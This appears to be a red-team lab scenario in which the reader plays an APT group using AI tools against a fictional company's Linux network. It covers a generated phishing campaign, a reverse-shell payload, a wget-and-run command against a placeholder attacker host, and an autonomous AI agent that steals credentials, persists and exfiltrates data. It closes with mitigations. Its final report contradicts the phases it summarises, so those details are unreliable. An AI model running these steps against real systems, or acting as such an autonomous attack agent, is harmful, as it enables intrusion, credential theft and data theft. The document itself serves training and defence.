Operation Neural Ghost

Objective: Act as an APT actor (APT-99, “Deep Vector”) to leverage AI and machine learning for reconnaissance, vulnerability discovery, phishing, and adaptive command-and-control, specifically targeting MycoSec’s Linux-based research network.

Scenario: MycoSec’s “Cortex” lab network uses standard security tools (firewalls, IDS, basic SIEM). Your goal is to use AI to bypass these defenses, find novel attack paths, and maintain stealthy persistence.

Phase 1: AI-Assisted Reconnaissance & OSINT

Goal: Use AI to automate target discovery and vulnerability mapping.

Instructions:

  1. Deploy an AI recon tool like reconGPT or DarkTrace or your own darktrace_ai script:

    • On your attacker VM, launch the AI-powered reconnaissance tool.

    • Command: python3 darktrace_ai.py --target-domain myco.sec --output scan_results.json

    • This tool uses NLP to scrape public sources (GitHub, social media) for employee names, tech stacks, and potential leaks.

  2. Analyse results with AI:

    • The tool generates a report. Use an AI summariser to extract key insights, or cook your own ai_analyser script.

    • Command: python3 ai_analyser.py --input scan_results.json --query "top 3 potential vulnerabilities"

    • Finding: The AI identifies:

      • A developer mentioning a “test API” on an internal subdomain: api-dev.myco.sec:8080

      • A old password pattern used in testing environments: MycoDev[Year]!

      • The use of Jenkins for CI/CD at jenkins.myco.sec

  3. Probe targets with AI-generated scans:

    • Use an AI tool to generate polymorphic network scans that evade signature-based IDS, or roll your own ai_scanner.

    • Command: python3 ai_scanner.py --target api-dev.myco.sec --stealth-mode high

    • Finding: The scan reveals the API is running a vulnerable version of FastAPI with a known RCE (CVE-2023-xxxx).

Checkpoint: AI has identified a high-value target and a specific vulnerability.

Phase 2: AI-Powered Social Engineering

Goal: Use a Generative AI to create a highly convincing phishing campaign.

Instructions:

  1. Generate phishing lure:

    • Use a for phishing tailored LLM and name it phishgpt.py for example, or develop a bot like spearbot to craft a phishing email.

    • Command: python3 phishgpt.py --template "internal_alert" --target-role "developer" --output phishing_email.html

    • The AI generates an email pretending to be from “MycoSec IT Security” urging the developer to reset their password due to a false incident on the api-dev server.

  2. Deploy credential harvesting:

    • AI can also generate a flawless clone of the MycoSec SSO login portal. Use, for example, Phishing-as-a-Service (PhaaS) Platforms, or Evilginx2, or go make it so yourself.

    • Command: deploy_phish_page --url https://myco-sec-login[.]xyz

    • Send the phishing email to targets identified in Phase 1.

  3. AI-Powered interaction:

    • Use an AI chatbot to handle victim interactions on the phishing site, answering questions to increase legitimacy.

    • Command: python3 ai_chatbot.py --port 8443 --persona "IT_Helpdesk"

Checkpoint: AI has automated the creation and deployment of a highly convincing phishing campaign.

Phase 3: AI-Enhanced Initial Access

Goal: Use AI to automate exploitation and initial payload delivery.

Instructions:

  1. Generate polymorphic payload:

    • Make and/or use an AI tool such as BlackMamba to create a reverse shell payload that evades static AV analysis by mutating its code signature each time it’s generated.

    • Command: python3 ai_payload_gen.py --payload linux_reverse_shell --lhost <ATTACKER_IP> --lport 4444 --output payload.py

    • Verification: The generated payload.py has a unique hash that does not appear on any virus scanning platform.

  2. Exploit the API automatically:

    • Use an AI exploitation framework like ReX (Exploit Generation Framework) or wait until Agentic AI Attack Framework (Unit 42) becomes available, to automatically weaponise the CVE against the api-dev server.

    • Command: python3 ai_exploit_framework.py --target http://api-dev.myco.sec:8080 --cve CVE-2023-xxxx --payload payload.py

    • Success: The framework successfully exploits the vulnerability and executes the payload.

  3. Catch the shell:

    • On your attacker VM, receive the reverse shell connection.

    • Command: nc -nvlp 4444

    • Verification: You have a shell on the api-dev server.

Checkpoint: AI has successfully exploited the target and established a foothold.

Phase 4: Autonomous Lateral Movement

Goal: Use an AI agent to autonomously explore the network and pivot.

Instructions:

  1. Deploy AI lateral movement agent:

    • DeepExplorer AI is not explicitly a C2 platform but rather an AI agent designed to automate lateral movement techniques. If integrated with C2 functionalities (command execution, data exfiltration), it could become part of a broader C2 framework similar to Redemption C2.

    • Upload and execute the DeepExplorer AI agent on the compromised host. Command (on target): wget http://<ATTACKER_IP>/DeepExplorer.py && python3 DeepExplorer.py --mode autonomous

    • This agent can automatically:

      • Map the local network

      • Sniff credentials from memory

      • Attempt to SSH to other machines using stolen keys or credentials

      • Identify misconfigured services

  2. Review AI findings:

    • The agent reports its findings to your C2 server. Check the dashboard.

    • Finding: The AI has discovered:

      • SSH private key in a world-readable /opt/scripts/ directory on another host (data-server-03).

      • A sudo misconfiguration on data-server-03 allowing the devuser to run vim as root.

  3. AI-selected pivot:

    • The AI recommends pivoting to data-server-03 as it is the most critical and vulnerable target. It automatically uses the stolen key to establish a SSH session.

    • Verification: The AI agent reports: [+] Successfully pivoted to host: data-server-03

Checkpoint: An AI agent has autonomously moved laterally to a critical server.

Phase 5: Adaptive command & control

Goal: Use AI to maintain stealthy C2 communication that adapts to network conditions.

Instructions:

  1. AI-Powered C2 channel:

    • The DeepExplorer agent establishes a C2 channel that uses AI to mimic legitimate network traffic (e.g., mimicking cloud provider API calls or DNS lookups).

    • Command: The agent auto-selects the best exfiltration method based on network egress rules.

  2. Exfiltrate data with AI:

    • The AI identifies and exfiltrates target files from data-server-03. It encrypts and chunks the data, embedding it in what looks like normal HTTP traffic.

    • Finding: The AI reports: [+] Exfiltration of /opt/research/project_cobalt.tar.gz complete.

  3. AI-Driven persistence:

    • The AI agent chooses the best persistence mechanism based on the environment.

    • Action: It creates a systemd service on data-server-03 that uses a domain generation algorithm (DGA) to call home, making it hard to blacklist.

Final Report

The AI system provides a full summary report. Document the key findings:

  1. Initial Vector: AI-driven recon found a vulnerable API endpoint and developer credentials.

  2. Lateral Movement Path: AI autonomously moved from api-dev to data-server-03 via a stolen SSH key.

  3. Privilege Escalation: The AI identified and exploited a sudo misconfiguration on the final target.

  4. Exfiltration Method: AI chose DNS tunneling for C2 and exfiltration to avoid triggering firewall alerts.

Mitigations

  1. Behavioural analysis: Deploy EDR/NDR that uses its own AI to detect anomalous process chains and network flows, not just signatures.

  2. Zero Trust: Implement strict network segmentation and application allow-listing to limit lateral movement.

  3. AI-Powered defence: Use defensive AI (like Darktrace or Vectra) to detect the low-and-slow, polymorphic network traffic generated by the attack AI.

  4. User training: Conduct regular phishing exercises focused on identifying AI-generated content.